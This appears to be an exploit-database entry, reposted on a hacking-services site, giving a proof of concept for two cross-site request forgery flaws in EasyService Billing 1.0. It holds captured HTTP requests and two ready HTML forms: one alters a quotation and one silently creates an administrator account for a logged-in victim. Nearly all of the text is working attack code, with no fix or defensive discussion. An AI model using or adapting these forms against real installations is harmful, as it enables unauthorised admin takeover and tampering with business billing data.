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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
# Exploit Title: EasyService Billing 1.0 Multiple Cross-Site Request Forgery
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11445,CVE-2018-11442
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # # # # #
#
# Proof of Concept:
           //////////////////////////
          / CSRF in Quotation Page /
         //////////////////////////
# Initial Request:

POST /EasyServiceBilling/quotation-new3-new2.php?add=true&id=139 HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139
Cookie: tntcon=5078855aa89b90f68de5644f75495364a4xn; PHPSESSID=58bf7e8rf0jpiepg3iu7larrj2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

quotation_id=139&quotation_no=249&des=test&button=Save&MM_update=form1&MM_insert=form1

# CSRF POC:

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139" method="POST">
      <input type="hidden" name="quotation&#95;id" value="139" />
      <input type="hidden" name="quotation&#95;no" value="249" />
      <input type="hidden" name="des" value="testnew" />
      <input type="hidden" name="button" value="Save" />
      <input type="hidden" name="MM&#95;update" value="form1" />
      <input type="hidden" name="MM&#95;insert" value="form1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

           ///////////////////////////
          // CSRF in User Add Page //
         ///////////////////////////
         
# Initial Request

POST /EasyServiceBilling/system-settings-user-new2.php? HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/system-settings-user-new2.php
Cookie: tntcon=ea1c7cc27fc02e6abf755d54fa60a8a8a4xn; PHPSESSID=kao38vbne4c4s9s0587o8h99e6
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

type=Admin&un=a&pw=b&MM_insert=form1
         
# CSRF POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://test.com/EasyServiceBilling/system-settings-user-new2.php?" method="POST">
      <input type="hidden" name="type" value="Admin" />
      <input type="hidden" name="un" value="adminTest" />
      <input type="hidden" name="pw" value="adminTest" />
      <input type="hidden" name="MM&#95;insert" value="form1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
         
-->